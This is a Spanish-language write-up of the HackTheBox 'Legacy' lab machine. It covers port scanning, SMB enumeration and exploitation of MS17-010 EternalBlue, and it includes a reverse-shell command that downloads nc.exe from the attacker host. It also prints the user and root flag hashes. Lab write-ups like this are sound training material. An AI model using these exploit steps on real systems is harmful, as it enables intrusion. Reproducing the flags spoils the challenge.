> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md). # Guía de HackTheBox Legacy Guía de la máquina HackTheBox Legacy Fácil Windows que cubre enumeración SMB y explotación de MS17-010 EternalBlue. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración SMB * Explotación de MS17-010 EternalBlue (Triple Z Exploit) {% endhint %} ## Reconocimiento ### Configuración del entorno Crea un directorio de trabajo e inicializa el entorno. {% code overflow="wrap" %} ```bash mkdir Legacy cd Legacy mkt ``` {% endcode %}
### Configuración del objetivo Establece el objetivo y confirma que responde como un host Windows. {% code overflow="wrap" %} ```bash settarget 10.129.227.181 Legacy ping -c 1 10.129.227.181 ``` {% endcode %}
### Escaneo de puertos Escanea todos los puertos TCP en busca de servicios abiertos. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts ``` {% endcode %}
Extrae los puertos descubiertos del resultado del escaneo. {% code overflow="wrap" %} ```bash extractPorts allPorts ``` {% endcode %} **Puertos abiertos:** `135`, `139`, y `445`. Revisa los servicios identificados.
Ejecuta un escaneo dirigido de versiones y scripts por defecto. Puerto `445` expone Microsoft-DS SMB. {% code overflow="wrap" %} ```bash sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted ``` {% endcode %}
### Enumeración SMB Intenta la enumeración anónima y la autenticación. Ningún intento tiene éxito. {% code overflow="wrap" %} ```bash smbmap -H 10.129.227.181 smbclient -L 10.129.227.181 -N ``` {% endcode %}
El sistema operativo se identifica como Windows 2000, una versión obsoleta de Windows.
### Investigación de vulnerabilidades Busca exploits públicos de SMB que afecten a Windows 2000: `exploit smb Windows 2000 LAN Manager github` Varios scripts públicos apuntan a vulnerabilidades en esta versión heredada de Windows.
Usa este recurso de Exploit-DB para la vulnerabilidad EternalBlue de Windows. {% embed url="" %} Valida la vulnerabilidad con un escaneo de scripts de Nmap. {% code overflow="wrap" %} ```bash nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan ``` {% endcode %} El escaneo confirma que el objetivo es vulnerable.
### Explotación Usa el siguiente proyecto MS17-010. {% embed url="" %} Edita el `zzzz` . Comenta la siguiente línea: {% code overflow="wrap" %} ```bash #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') ``` {% endcode %} Copia `nc.exe` en el directorio de trabajo. {% code overflow="wrap" %} ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` {% endcode %} Comparte el directorio actual por SMB para transferir el binario. {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %}
Actualiza el script con la ruta SMB y el comando de reverse shell de abajo. ### Shell inversa Inicia un listener en el puerto `4444`. {% code overflow="wrap" %} ```bash rlwrap nc -nvlp 4444 ``` {% endcode %} Reemplaza el comando en el script por: {% code overflow="wrap" %} ```bash service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444') ``` {% endcode %}
### Flags Recupera la bandera de usuario. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\john\Desktop\user.txt" ``` {% endcode %} * e69af0e4f443de7e36876fda4ec7644f La shell también proporciona acceso a la flag de Administrador. {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\Administrator\Desktop\root.txt" ``` {% endcode %} * 993442d258b0e0ec917cae9e695d5713
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.